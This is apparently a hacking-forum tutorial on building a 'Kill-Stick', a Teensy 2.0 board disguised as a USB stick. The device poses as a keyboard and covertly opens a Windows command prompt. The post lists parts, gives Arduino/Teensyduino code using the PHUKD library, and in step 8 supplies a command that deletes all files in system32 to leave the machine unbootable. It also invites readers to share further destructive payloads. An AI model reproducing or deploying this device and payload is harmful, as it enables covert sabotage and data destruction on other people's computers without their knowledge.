Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[DIY] Kill-Sick HID USB Tool!

Kill-Stick

Hello HF! Without further adieu, I present a tutorial on how to build your own Kill-Stick, a USB stick with the capabilities to surreptitiously decimate a computer.
This USB will act like a keyboard (a HID, or Human Interface Device) and allow you to exploit the auto-run features of an HID. Enjoy!



  • No System Requirements

  • Costs less than $30 USD

  • Set-Up in Minutes



Resources:



Teensy 2.0 USB Development Board - $16 + Shipping
US Shipping: https://www.pjrc.com/store/teensy.html
International Shipping: http://www.adafruit.com/products/199

PICTURES: https://i.imgur.com/mI4lca6.jpg

Mini-B to USB Cable(AS SMALL AS POSSIBLE) - $1 - $5
I bought mine from Ebay, but you may have one laying around the house or in a local classifieds. If nothing else, Google is your Friend.

http://www.ebay.com/itm/USB-2-0-A-Male-t...1e92527874

PICTURES: https://i.imgur.com/1LQlaQD.jpg

Arduino Software 1.0.5 or 1.0.6
You can download this from http://arduino.cc/en/Main/OldSoftwareReleases.
Note: The newest version of Arduino WILL NOT BE COMPATIBLE. Ensure that you are using the right version.

Teensyduino Software Add-on
You can download this from Teensy's website, https://www.pjrc.com/teensy/td_download.html. Follow their tutorial on how to properly set it up.


Tutorial:


At this point, I will assume you already have all of the materials necessary to create our Kill-Stick.

1) Plug your Mini-B to USB Cable into your Teensy 2.0.
PICTURES: https://i.imgur.com/XRZBZPW.jpg

2) Plug device into computer. You should see a Blinking Orange LED light.
PICTURES: https://i.imgur.com/PctrWAs.jpg

3) Open up the Arduino Software. In the Toolbar, go Tools > Board, ensure that Teensy 2.0 is selected. As well, go Tools > USB Type, ensure that "Keyboard + Mouse + Joystick" is selected.
PICTURES: https://i.gyazo.com/e795cbfe520e97111588...e80470.png

4) Download the PHUCKD library. This can be found here: http://www.irongeek.com/downloads/phukdlib0.4.zip

5) Import the Library from inside Arduino. Sketch > Import Library > Add Library and select the folder. Click Open once you have selected your library.
PICTURES: https://i.gyazo.com/432741cdcf595deec159...f34b31.png

6) Copy and paste the following code into the Arduino window:

Code
#include <phukdlib.h>

int ledPin=11;
boolean ledPinState = true;
int firstrun=1;

// The setup() method runs once, when the sketch starts
void setup()   {            
  pinMode(ledPin, OUTPUT);    
  delay(5000);
}

// the loop() method runs over and over again, checking for events
void loop()                    
{
  if (firstrun){
    CommandAtRunBarMSWIN("cmd");
    delay(2000);
    firstrun=0;
    Keyboard.println("Be Careful!");
    
  };
  
  digitalWrite(ledPin, ledPinState); //This line and the next are just there for blinking the LED so you know the code is running.
  ledPinState=!ledPinState;
  delay(1000);
}

7) Test to make sure your Kill-Stick is working. Click Verify, the button on the top left, and click the black button on your Kill-Stick. It should take around 15 seconds, however you should start to see the Teensy do its magic. Once it has run, unplug your Kill-Stick and close out of the CMD window that it should have opened. Then, plug the stick back in and press the button. You should see the same results.

If it's working, continue to 8. If not, Google is your Friend. Also, just post here and I'll help you out.


8) Alright, here's where things get dangerous. I'm sure by now you can already see what the limitless capitiblities are with this. Instead of the Keyboard.println, you can change it to things far more dangerous. I suggest the following code:

Code
del c:\windows\system32\*.* /q


This will delete all the files in system32, making the computer unable to function after the next reboot. After adding this, MAKE SURE NOT TO TEST IT ON YOURSELF. Please. You'll feel like an idiot. And there's nothing you can do about it. You're done.


THIS IS FULLY CUSTOMIZABLE! If you know any scripting, please feel free to leave a comment here on different things that you feel can be done with this. This is a very bland piece of code, and can be improved upon greatly. For the pros out there, I'm sure you can figure it out from here. For the newbies, now is a great time to learn!

Cheers, ThatMadHatter.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by anasdnz16Sep 30, 2022 11:45 AM 1 308 Sep 30, 2022 11:45 AM
Last Post: Monserrate_Hirthe
by Tjhughes0Jan 4, 2022 02:07 AM 0 152 Jan 4, 2022 02:07 AM
Last Post: Tjhughes0
by NYANxCATAug 15, 2018 11:03 PM 19 1,632 Aug 15, 2018 11:03 PM
Last Post: NYANxCAT